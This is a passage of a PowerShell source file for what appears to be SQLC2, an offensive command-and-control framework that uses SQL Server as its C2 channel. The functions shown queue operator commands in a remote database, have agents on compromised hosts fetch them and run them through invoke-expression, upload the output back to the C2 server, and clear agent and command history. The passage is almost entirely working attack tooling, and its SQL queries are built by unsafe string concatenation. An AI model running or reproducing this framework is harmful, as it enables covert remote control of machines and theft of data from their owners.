1503 | ) 1504 | 1505 | Begin 1506 | { 1507 | # Create data tables for output 1508 | $TblResults = New-Object -TypeName System.Data.DataTable 1509 | } 1510 | 1511 | Process 1512 | { 1513 | # Parse computer name from the instance 1514 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 1515 | 1516 | # Default connection to local default instance 1517 | if(-not $Instance) 1518 | { 1519 | $Instance = $env:COMPUTERNAME 1520 | } 1521 | 1522 | # Test connection to instance 1523 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 1524 | $_.Status -eq 'Accessible' 1525 | } 1526 | if($TestConnection) 1527 | { 1528 | if( -not $SuppressVerbose) 1529 | { 1530 | Write-Verbose -Message "$Instance : Connection Success." 1531 | } 1532 | } 1533 | else 1534 | { 1535 | if( -not $SuppressVerbose) 1536 | { 1537 | Write-Verbose -Message "$Instance : Connection Failed." 1538 | } 1539 | return 1540 | } 1541 | 1542 | # Setup query to grab commands 1543 | $Query = "SELECT * FROM dbo.c2agents" 1544 | 1545 | # Execute Query 1546 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 1547 | $AgentCount = $TblResults | measure | select count -ExpandProperty count 1548 | 1549 | Write-Verbose -Message "$Instance : $AgentCount agents were found registered." 1550 | } 1551 | 1552 | End 1553 | { 1554 | # Return data 1555 | $TblResults 1556 | } 1557 | } 1558 | 1559 | 1560 | # ---------------------------------- 1561 | # Set-SQLC2Command 1562 | # ---------------------------------- 1563 | # Author: Scott Sutherland 1564 | Function Set-SQLC2Command 1565 | { 1566 | <# 1567 | .SYNOPSIS 1568 | This functions stores a command in the C2COMMAND table of the C2 SQL Server. 1569 | This command should be run against the C2 SQL Server. 1570 | .PARAMETER Username 1571 | SQL Server or domain account to authenticate with. 1572 | .PARAMETER Password 1573 | SQL Server or domain account password to authenticate with. 1574 | .PARAMETER Credential 1575 | SQL Server credential. 1576 | .PARAMETER Instance 1577 | SQL Server instance to connection to. 1578 | .PARAMETER DatabaseName 1579 | Database name that contains target table. 1580 | .PARAMETER ServerName 1581 | ServerName to run the command on. By default it is all nodes. 1582 | .PARAMETER Command 1583 | Command to run on the agent. 1584 | .EXAMPLE 1585 | PS C:\> Set-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Command 'whoami' -ServerName host1 1586 | PS C:\> Set-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 -Command 'whoami' -ServerName host1 1587 | #> 1588 | [CmdletBinding()] 1589 | Param( 1590 | [Parameter(Mandatory = $false, 1591 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 1592 | [string]$Username, 1593 | 1594 | [Parameter(Mandatory = $false, 1595 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 1596 | [string]$Password, 1597 | 1598 | [Parameter(Mandatory = $false, 1599 | HelpMessage = 'Windows credentials.')] 1600 | [System.Management.Automation.PSCredential] 1601 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 1602 | 1603 | [Parameter(Mandatory = $false, 1604 | ValueFromPipelineByPropertyName = $true, 1605 | HelpMessage = 'SQL Server instance to connection to.')] 1606 | [string]$Instance, 1607 | 1608 | [Parameter(Mandatory = $false, 1609 | ValueFromPipeline = $true, 1610 | ValueFromPipelineByPropertyName = $true, 1611 | HelpMessage = 'Database containing target C2 table.')] 1612 | [string]$Database, 1613 | 1614 | [Parameter(Mandatory = $false, 1615 | ValueFromPipeline = $true, 1616 | ValueFromPipelineByPropertyName = $true, 1617 | HelpMessage = 'ServerName of the agent.')] 1618 | [string]$ServerName, 1619 | 1620 | [Parameter(Mandatory = $false, 1621 | ValueFromPipeline = $true, 1622 | ValueFromPipelineByPropertyName = $true, 1623 | HelpMessage = 'Command to run on the agent.')] 1624 | [string]$Command, 1625 | 1626 | [Parameter(Mandatory = $false, 1627 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 1628 | [switch]$SuppressVerbose 1629 | ) 1630 | 1631 | Begin 1632 | { 1633 | # Create data tables for output 1634 | $TblResults = New-Object -TypeName System.Data.DataTable 1635 | $TblDatabases = New-Object -TypeName System.Data.DataTable 1636 | $null = $TblDatabases.Columns.Add('ServerName') 1637 | $null = $TblDatabases.Columns.Add('Command') 1638 | $null = $TblDatabases.Columns.Add('Status') 1639 | } 1640 | 1641 | Process 1642 | { 1643 | # Parse computer name from the instance 1644 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 1645 | 1646 | # Default connection to local default instance 1647 | if(-not $Instance) 1648 | { 1649 | $Instance = $env:COMPUTERNAME 1650 | } 1651 | 1652 | # Test connection to instance 1653 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 1654 | $_.Status -eq 'Accessible' 1655 | } 1656 | 1657 | # Setup agent node filtering based on servername 1658 | If(-not $ServerName){ 1659 | $ServerName = "All" 1660 | } 1661 | 1662 | # Test connection 1663 | if($TestConnection) 1664 | { 1665 | if( -not $SuppressVerbose) 1666 | { 1667 | Write-Verbose -Message "$Instance : Connection Success." 1668 | Write-Verbose "$instance : Command: $Command" 1669 | } 1670 | } 1671 | else 1672 | { 1673 | if( -not $SuppressVerbose) 1674 | { 1675 | Write-Verbose -Message "$Instance : Connection Failed." 1676 | } 1677 | return 1678 | } 1679 | 1680 | # Set command for single agent 1681 | $Query = "INSERT dbo.C2COMMANDS (ServerName,Command,Status) VALUES ('$ServerName','$Command','pending')" 1682 | 1683 | # Execute Query 1684 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 1685 | 1686 | Write-Verbose "$instance : Command added for $ServerName agent(s)." 1687 | } 1688 | 1689 | End 1690 | { 1691 | # Return data 1692 | $TblResults 1693 | } 1694 | } 1695 | 1696 | 1697 | # ---------------------------------- 1698 | # Get-SQLC2Command 1699 | # ---------------------------------- 1700 | # Author: Scott Sutherland 1701 | Function Get-SQLC2Command 1702 | { 1703 | <# 1704 | .SYNOPSIS 1705 | This command gets a command from a table on a remote c2 SQL Server. 1706 | This command should be run on the c2 agent system so it can pull down 1707 | any commands the C2 server has for it to execute. 1708 | .PARAMETER Username 1709 | SQL Server or domain account to authenticate with. 1710 | .PARAMETER Password 1711 | SQL Server or domain account password to authenticate with. 1712 | .PARAMETER Credential 1713 | SQL Server credential. 1714 | .PARAMETER Instance 1715 | SQL Server instance to connection to. 1716 | .PARAMETER DatabaseName 1717 | Database name that contains target table. 1718 | .PARAMETER Execute 1719 | Run all of the commands downloaded from the C2 server on the agent system. 1720 | .EXAMPLE 1721 | PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 1722 | .EXAMPLE 1723 | PS C:\> Get-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Execute 1724 | .EXAMPLE 1725 | PS C:\> Get-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 1726 | #> 1727 | [CmdletBinding()] 1728 | Param( 1729 | [Parameter(Mandatory = $false, 1730 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 1731 | [string]$Username, 1732 | 1733 | [Parameter(Mandatory = $false, 1734 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 1735 | [string]$Password, 1736 | 1737 | [Parameter(Mandatory = $false, 1738 | HelpMessage = 'Windows credentials.')] 1739 | [System.Management.Automation.PSCredential] 1740 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 1741 | 1742 | [Parameter(Mandatory = $false, 1743 | ValueFromPipelineByPropertyName = $true, 1744 | HelpMessage = 'SQL Server instance to connection to.')] 1745 | [string]$Instance, 1746 | 1747 | [Parameter(Mandatory = $false, 1748 | ValueFromPipeline = $true, 1749 | ValueFromPipelineByPropertyName = $true, 1750 | HelpMessage = 'Database containing target C2 table.')] 1751 | [string]$Database, 1752 | 1753 | [Parameter(Mandatory = $false, 1754 | ValueFromPipeline = $true, 1755 | ValueFromPipelineByPropertyName = $true, 1756 | HelpMessage = 'Execute commands from c2.')] 1757 | [switch]$Execute, 1758 | 1759 | [Parameter(Mandatory = $false, 1760 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 1761 | [switch]$SuppressVerbose 1762 | ) 1763 | 1764 | Begin 1765 | { 1766 | # Create data tables for output 1767 | $TblResults = New-Object -TypeName System.Data.DataTable 1768 | } 1769 | 1770 | Process 1771 | { 1772 | # Parse computer name from the instance 1773 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 1774 | 1775 | # Default connection to local default instance 1776 | if(-not $Instance) 1777 | { 1778 | $Instance = $env:COMPUTERNAME 1779 | } 1780 | 1781 | # Test connection to instance 1782 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 1783 | $_.Status -eq 'Accessible' 1784 | } 1785 | if($TestConnection) 1786 | { 1787 | if( -not $SuppressVerbose) 1788 | { 1789 | Write-Verbose -Message "$Instance : Connection Success." 1790 | Write-Verbose "$instance : Attempting to grab commands to execute." 1791 | } 1792 | } 1793 | else 1794 | { 1795 | if( -not $SuppressVerbose) 1796 | { 1797 | Write-Verbose -Message "$Instance : Connection Failed." 1798 | } 1799 | return 1800 | } 1801 | 1802 | # Check in the server 1803 | Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null 1804 | 1805 | # Setup query to grab commands 1806 | $Query = "SELECT * FROM dbo.c2commands where status like 'pending' and (servername like '$env:COMPUTERNAME' or servername like 'All')" 1807 | 1808 | # Execute Query 1809 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 1810 | 1811 | # check command count 1812 | $CommandCount = $TblResults | measure | select count -ExpandProperty count 1813 | 1814 | Write-Verbose "$instance : $CommandCount commands were found for $env:COMPUTERNAME." 1815 | } 1816 | 1817 | End 1818 | { 1819 | # Process command execution 1820 | if($Execute){ 1821 | 1822 | # Loop through pending commands 1823 | $TblResults | ForEach-Object { 1824 | 1825 | # Grab command 1826 | $C2CommandId = $_.cid 1827 | $C2Command = $_.command 1828 | 1829 | # Execute command 1830 | Invoke-SQLC2Command -Username $Username -Password $Password -Instance $Instance -Database $Database -Verbose -Command $C2Command -Cid $C2CommandId 1831 | } 1832 | }else{ 1833 | 1834 | # Return data 1835 | $TblResults 1836 | } 1837 | } 1838 | } 1839 | 1840 | 1841 | # ---------------------------------- 1842 | # Invoke-SQLC2Command 1843 | # ---------------------------------- 1844 | # Author: Scott Sutherland 1845 | Function Invoke-SQLC2Command 1846 | { 1847 | <# 1848 | .SYNOPSIS 1849 | This command should be run on the agent system. It will execute a OS command locally and 1850 | return the results to the C2 SQL Server. 1851 | .PARAMETER Username 1852 | SQL Server or domain account to authenticate with. 1853 | .PARAMETER Password 1854 | SQL Server or domain account password to authenticate with. 1855 | .PARAMETER Credential 1856 | SQL Server credential. 1857 | .PARAMETER Instance 1858 | SQL Server instance to connection to. 1859 | .PARAMETER DatabaseName 1860 | Database name that contains target table. 1861 | .PARAMETER Command 1862 | The OS command to run. 1863 | .EXAMPLE 1864 | PS C:\> Invoke-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 1865 | PS C:\> Invoke-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 1866 | #> 1867 | [CmdletBinding()] 1868 | Param( 1869 | [Parameter(Mandatory = $false, 1870 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 1871 | [string]$Username, 1872 | 1873 | [Parameter(Mandatory = $false, 1874 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 1875 | [string]$Password, 1876 | 1877 | [Parameter(Mandatory = $false, 1878 | HelpMessage = 'Windows credentials.')] 1879 | [System.Management.Automation.PSCredential] 1880 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 1881 | 1882 | [Parameter(Mandatory = $false, 1883 | ValueFromPipelineByPropertyName = $true, 1884 | HelpMessage = 'SQL Server instance to connection to.')] 1885 | [string]$Instance, 1886 | 1887 | [Parameter(Mandatory = $false, 1888 | ValueFromPipeline = $true, 1889 | ValueFromPipelineByPropertyName = $true, 1890 | HelpMessage = 'Database containing target C2 table.')] 1891 | [string]$Database, 1892 | 1893 | [Parameter(Mandatory = $false, 1894 | ValueFromPipeline = $true, 1895 | ValueFromPipelineByPropertyName = $true, 1896 | HelpMessage = 'The OS command to run.')] 1897 | [string]$Command, 1898 | 1899 | [Parameter(Mandatory = $true, 1900 | ValueFromPipeline = $true, 1901 | ValueFromPipelineByPropertyName = $true, 1902 | HelpMessage = 'This is the unique command id provide from the server.')] 1903 | [Int]$Cid, 1904 | 1905 | [Parameter(Mandatory = $false, 1906 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 1907 | [switch]$SuppressVerbose 1908 | ) 1909 | 1910 | Begin 1911 | { 1912 | # Create data tables for output 1913 | $TblResults = New-Object -TypeName System.Data.DataTable 1914 | } 1915 | 1916 | Process 1917 | { 1918 | Write-Verbose "$env:COMPUTERNAME : Running command $Cid" 1919 | Write-Verbose "$env:COMPUTERNAME : Command: $Command" 1920 | 1921 | # Run the command 1922 | try{ 1923 | $CommandResults = invoke-expression "$Command" 1924 | Write-Verbose "$env:COMPUTERNAME : Command complete." 1925 | $CommandStatus = "success" 1926 | }catch{ 1927 | Write-Verbose "$env:COMPUTERNAME : Command failed. Aborting." 1928 | $CommandStatus = "failed" 1929 | } 1930 | 1931 | # Parse computer name from the instance 1932 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 1933 | 1934 | # Default connection to local default instance 1935 | if(-not $Instance) 1936 | { 1937 | $Instance = $env:COMPUTERNAME 1938 | } 1939 | 1940 | # Test connection to instance 1941 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 1942 | $_.Status -eq 'Accessible' 1943 | } 1944 | if($TestConnection) 1945 | { 1946 | if( -not $SuppressVerbose) 1947 | { 1948 | Write-Verbose -Message "$Instance : Connection Success." 1949 | } 1950 | } 1951 | else 1952 | { 1953 | if( -not $SuppressVerbose) 1954 | { 1955 | Write-Verbose -Message "$Instance : Connection Failed." 1956 | } 1957 | return 1958 | } 1959 | 1960 | # Check in the server 1961 | Register-SQLC2Agent -Username $Username -Password $Password -Instance $Instance -Database $Database -SuppressVerbose | Out-Null 1962 | 1963 | # Setup query to grab commands 1964 | Write-Verbose -Message "$Instance : Uploading command results to C2 server." 1965 | $Query = " 1966 | -- update command request from server 1967 | UPDATE dbo.C2COMMANDS SET lastupdate = (select GETDATE ()),result = '$CommandResults',status='$CommandStatus',command='$Command' 1968 | WHERE CID like $Cid" 1969 | 1970 | # Execute Query 1971 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 1972 | 1973 | Write-Verbose "$instance : Upload complete." 1974 | } 1975 | 1976 | End 1977 | { 1978 | # Return data 1979 | $TblResults 1980 | } 1981 | } 1982 | 1983 | 1984 | # ---------------------------------- 1985 | # Get-SQLC2Result 1986 | # ---------------------------------- 1987 | # Author: Scott Sutherland 1988 | Function Get-SQLC2Result 1989 | { 1990 | <# 1991 | .SYNOPSIS 1992 | This function gets command results from the C2 SQL Server. 1993 | .PARAMETER Username 1994 | SQL Server or domain account to authenticate with. 1995 | .PARAMETER Password 1996 | SQL Server or domain account password to authenticate with. 1997 | .PARAMETER Credential 1998 | SQL Server credential. 1999 | .PARAMETER Instance 2000 | SQL Server instance to connection to. 2001 | .PARAMETER DatabaseName 2002 | Database name that contains target table. 2003 | .PARAMETER ServerName 2004 | Filter by server name. 2005 | .PARAMETER Cid 2006 | Filter by command id. 2007 | .PARAMETER Status 2008 | Filter by status. 2009 | .EXAMPLE 2010 | PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 2011 | PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Cid 1 2012 | PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -Status "Success" 2013 | PS C:\> Get-SQLC2Result -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName "Server1" 2014 | PS C:\> Get-SQLC2Result -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 2015 | #> 2016 | [CmdletBinding()] 2017 | Param( 2018 | [Parameter(Mandatory = $false, 2019 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 2020 | [string]$Username, 2021 | 2022 | [Parameter(Mandatory = $false, 2023 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 2024 | [string]$Password, 2025 | 2026 | [Parameter(Mandatory = $false, 2027 | HelpMessage = 'Windows credentials.')] 2028 | [System.Management.Automation.PSCredential] 2029 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 2030 | 2031 | [Parameter(Mandatory = $false, 2032 | ValueFromPipelineByPropertyName = $true, 2033 | HelpMessage = 'SQL Server instance to connection to.')] 2034 | [string]$Instance, 2035 | 2036 | [Parameter(Mandatory = $false, 2037 | ValueFromPipeline = $true, 2038 | ValueFromPipelineByPropertyName = $true, 2039 | HelpMessage = 'Database containing target C2 table.')] 2040 | [string]$Database, 2041 | 2042 | [Parameter(Mandatory = $false, 2043 | ValueFromPipeline = $true, 2044 | ValueFromPipelineByPropertyName = $true, 2045 | HelpMessage = 'Filter by server name.')] 2046 | [string]$ServerName, 2047 | 2048 | [Parameter(Mandatory = $false, 2049 | ValueFromPipeline = $true, 2050 | ValueFromPipelineByPropertyName = $true, 2051 | HelpMessage = 'Filter by Status.')] 2052 | [ValidateSet("pending","success","failed")] 2053 | [string]$Status, 2054 | 2055 | [Parameter(Mandatory = $false, 2056 | ValueFromPipeline = $true, 2057 | ValueFromPipelineByPropertyName = $true, 2058 | HelpMessage = 'Filter by command ID.')] 2059 | [string]$Cid, 2060 | 2061 | [Parameter(Mandatory = $false, 2062 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 2063 | [switch]$SuppressVerbose 2064 | ) 2065 | 2066 | Begin 2067 | { 2068 | # Create data tables for output 2069 | $TblResults = New-Object -TypeName System.Data.DataTable 2070 | 2071 | # Create ServerName filter 2072 | if($ServerName){ 2073 | $FilterServerName = "WHERE servername like '$ServerName'" 2074 | }else{ 2075 | $FilterServerName = "" 2076 | } 2077 | 2078 | # Create Status filter 2079 | if($Status){ 2080 | $FilterStatus = "WHERE status like '$Status'" 2081 | }else{ 2082 | $FilterStatus = "" 2083 | } 2084 | 2085 | 2086 | # Create ServerName filter 2087 | if($Cid){ 2088 | $FilterCid = "WHERE cid like '$Cid'" 2089 | }else{ 2090 | $FilterCid = "" 2091 | } 2092 | } 2093 | 2094 | Process 2095 | { 2096 | # Parse computer name from the instance 2097 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 2098 | 2099 | # Default connection to local default instance 2100 | if(-not $Instance) 2101 | { 2102 | $Instance = $env:COMPUTERNAME 2103 | } 2104 | 2105 | # Test connection to instance 2106 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 2107 | $_.Status -eq 'Accessible' 2108 | } 2109 | if($TestConnection) 2110 | { 2111 | if( -not $SuppressVerbose) 2112 | { 2113 | Write-Verbose -Message "$Instance : Connection Success." 2114 | Write-Verbose "$instance : Attempting to grab pending and processed commands." 2115 | } 2116 | } 2117 | else 2118 | { 2119 | if( -not $SuppressVerbose) 2120 | { 2121 | Write-Verbose -Message "$Instance : Connection Failed." 2122 | } 2123 | return 2124 | } 2125 | 2126 | # Setup query to grab commands 2127 | $Query = " 2128 | SELECT * FROM dbo.c2commands 2129 | $FilterServerName 2130 | $FilterStatus 2131 | $FilterCid 2132 | " 2133 | 2134 | # Execute Query 2135 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 2136 | 2137 | # check command count 2138 | $CommandCount = $TblResults.row.count 2139 | 2140 | Write-Verbose "$instance : $CommandCount commands were found." 2141 | } 2142 | 2143 | End 2144 | { 2145 | # Return data 2146 | $TblResults 2147 | } 2148 | } 2149 | 2150 | 2151 | # ---------------------------------- 2152 | # Remove-SQLC2Command 2153 | # ---------------------------------- 2154 | # Author: Scott Sutherland 2155 | Function Remove-SQLC2Command 2156 | { 2157 | <# 2158 | .SYNOPSIS 2159 | This command clears the command history on the remote c2 SQL Server. 2160 | .PARAMETER Username 2161 | SQL Server or domain account to authenticate with. 2162 | .PARAMETER Password 2163 | SQL Server or domain account password to authenticate with. 2164 | .PARAMETER Credential 2165 | SQL Server credential. 2166 | .PARAMETER Instance 2167 | SQL Server instance to connection to. 2168 | .PARAMETER DAC 2169 | Connect using Dedicated Admin Connection. 2170 | .PARAMETER DatabaseName 2171 | Database name that contains target table. 2172 | .PARAMETER ServerName 2173 | Server name to clear command history for. 2174 | .EXAMPLE 2175 | PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 2176 | .EXAMPLE 2177 | PS C:\> Remove-SQLC2Command -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 2178 | .EXAMPLE 2179 | PS C:\> Remove-SQLC2Command -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 2180 | #> 2181 | [CmdletBinding()] 2182 | Param( 2183 | [Parameter(Mandatory = $false, 2184 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 2185 | [string]$Username, 2186 | 2187 | [Parameter(Mandatory = $false, 2188 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 2189 | [string]$Password, 2190 | 2191 | [Parameter(Mandatory = $false, 2192 | HelpMessage = 'Windows credentials.')] 2193 | [System.Management.Automation.PSCredential] 2194 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 2195 | 2196 | [Parameter(Mandatory = $false, 2197 | ValueFromPipelineByPropertyName = $true, 2198 | HelpMessage = 'SQL Server instance to connection to.')] 2199 | [string]$Instance, 2200 | 2201 | [Parameter(Mandatory = $false, 2202 | ValueFromPipeline = $true, 2203 | ValueFromPipelineByPropertyName = $true, 2204 | HelpMessage = 'Database containing target C2 table.')] 2205 | [string]$Database, 2206 | 2207 | [Parameter(Mandatory = $false, 2208 | ValueFromPipeline = $true, 2209 | ValueFromPipelineByPropertyName = $true, 2210 | HelpMessage = 'Server to clear command history for.')] 2211 | [string]$ServerName, 2212 | 2213 | [Parameter(Mandatory = $false, 2214 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 2215 | [switch]$SuppressVerbose 2216 | ) 2217 | 2218 | Begin 2219 | { 2220 | # Create data tables for output 2221 | $TblResults = New-Object -TypeName System.Data.DataTable 2222 | 2223 | if($ServerName){ 2224 | $ServerFilter = "WHERE servername like '$ServerName'" 2225 | }else{ 2226 | $ServerFilter = "" 2227 | } 2228 | } 2229 | 2230 | Process 2231 | { 2232 | # Parse computer name from the instance 2233 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 2234 | 2235 | # Default connection to local default instance 2236 | if(-not $Instance) 2237 | { 2238 | $Instance = $env:COMPUTERNAME 2239 | } 2240 | 2241 | # Test connection to instance 2242 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 2243 | $_.Status -eq 'Accessible' 2244 | } 2245 | if($TestConnection) 2246 | { 2247 | if( -not $SuppressVerbose) 2248 | { 2249 | Write-Verbose -Message "$Instance : Connection Success." 2250 | Write-Verbose "$instance : Attempting to clear command history from $Instance." 2251 | } 2252 | } 2253 | else 2254 | { 2255 | if( -not $SuppressVerbose) 2256 | { 2257 | Write-Verbose -Message "$Instance : Connection Failed." 2258 | } 2259 | return 2260 | } 2261 | 2262 | # Setup query to grab commands 2263 | $Query = "DELETE FROM dbo.C2COMMANDS 2264 | $ServerFilter" 2265 | 2266 | # Execute Query 2267 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 2268 | } 2269 | 2270 | End 2271 | { 2272 | Write-Verbose "$instance : Done." 2273 | } 2274 | } 2275 | 2276 | 2277 | # ---------------------------------- 2278 | # Remove-SQLC2Agent 2279 | # ---------------------------------- 2280 | # Author: Scott Sutherland 2281 | Function Remove-SQLC2Agent 2282 | { 2283 | <# 2284 | .SYNOPSIS 2285 | This command clears the agents registered on the remote c2 SQL Server. 2286 | .PARAMETER Username 2287 | SQL Server or domain account to authenticate with. 2288 | .PARAMETER Password 2289 | SQL Server or domain account password to authenticate with. 2290 | .PARAMETER Credential 2291 | SQL Server credential. 2292 | .PARAMETER Instance 2293 | SQL Server instance to connection to. 2294 | .PARAMETER DatabaseName 2295 | Database name that contains target table. 2296 | .PARAMETER ServerName 2297 | Server name to clear command history for. 2298 | .EXAMPLE 2299 | PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 2300 | .EXAMPLE 2301 | PS C:\> Remove-SQLC2Agent -Instance "SQLServer1\STANDARDDEV2014" -Database database1 -ServerName Server1 2302 | .EXAMPLE 2303 | PS C:\> Remove-SQLC2Agent -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 2304 | #> 2305 | [CmdletBinding()] 2306 | Param( 2307 | [Parameter(Mandatory = $false, 2308 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 2309 | [string]$Username, 2310 | 2311 | [Parameter(Mandatory = $false, 2312 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 2313 | [string]$Password, 2314 | 2315 | [Parameter(Mandatory = $false, 2316 | HelpMessage = 'Windows credentials.')] 2317 | [System.Management.Automation.PSCredential] 2318 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 2319 | 2320 | [Parameter(Mandatory = $false, 2321 | ValueFromPipelineByPropertyName = $true, 2322 | HelpMessage = 'SQL Server instance to connection to.')] 2323 | [string]$Instance, 2324 | 2325 | [Parameter(Mandatory = $false, 2326 | ValueFromPipeline = $true, 2327 | ValueFromPipelineByPropertyName = $true, 2328 | HelpMessage = 'Database containing target C2 table.')] 2329 | [string]$Database, 2330 | 2331 | [Parameter(Mandatory = $false, 2332 | ValueFromPipeline = $true, 2333 | ValueFromPipelineByPropertyName = $true, 2334 | HelpMessage = 'Server to clear command history for.')] 2335 | [string]$ServerName, 2336 | 2337 | [Parameter(Mandatory = $false, 2338 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 2339 | [switch]$SuppressVerbose 2340 | ) 2341 | 2342 | Begin 2343 | { 2344 | # Create data tables for output 2345 | $TblResults = New-Object -TypeName System.Data.DataTable 2346 | 2347 | if($ServerName){ 2348 | $ServerFilter = "WHERE servername like '$ServerName'" 2349 | }else{ 2350 | $ServerFilter = "" 2351 | } 2352 | } 2353 | 2354 | Process 2355 | { 2356 | # Parse computer name from the instance 2357 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 2358 | 2359 | # Default connection to local default instance 2360 | if(-not $Instance) 2361 | { 2362 | $Instance = $env:COMPUTERNAME 2363 | } 2364 | 2365 | # Test connection to instance 2366 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 2367 | $_.Status -eq 'Accessible' 2368 | } 2369 | if($TestConnection) 2370 | { 2371 | if( -not $SuppressVerbose) 2372 | { 2373 | Write-Verbose -Message "$Instance : Connection Success." 2374 | Write-Verbose "$instance : Attempting to clear agent(s) from $Instance." 2375 | } 2376 | } 2377 | else 2378 | { 2379 | if( -not $SuppressVerbose) 2380 | { 2381 | Write-Verbose -Message "$Instance : Connection Failed." 2382 | } 2383 | return 2384 | } 2385 | 2386 | # Setup query to grab commands 2387 | $Query = "DELETE FROM dbo.C2AGENTS 2388 | $ServerFilter" 2389 | 2390 | # Execute Query 2391 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database $Database -SuppressVerbose 2392 | } 2393 | 2394 | End 2395 | { 2396 | Write-Verbose "$instance : Done." 2397 | } 2398 | } 2399 | 2400 | 2401 | # ---------------------------------- 2402 | # Uninstall-SQLC2AgentPs 2403 | # ---------------------------------- 2404 | # Author: Scott Sutherland 2405 | Function Uninstall-SQLC2AgentPs 2406 | { 2407 | <# 2408 | .SYNOPSIS 2409 | This command removes the SQLC2 scheduled task and WMI subscription agent beacons from the current system. 2410 | .PARAMETER Username 2411 | SQL Server or domain account to authenticate with. 2412 | .PARAMETER Password 2413 | SQL Server or domain account password to authenticate with. 2414 | .PARAMETER Credential 2415 | SQL Server credential. 2416 | .PARAMETER Instance 2417 | .EXAMPLE 2418 | PS C:\> Uninstall-SQLC2AgentPs -verbose 2419 | #> 2420 | [CmdletBinding()] 2421 | Param( 2422 | [Parameter(Mandatory = $false, 2423 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 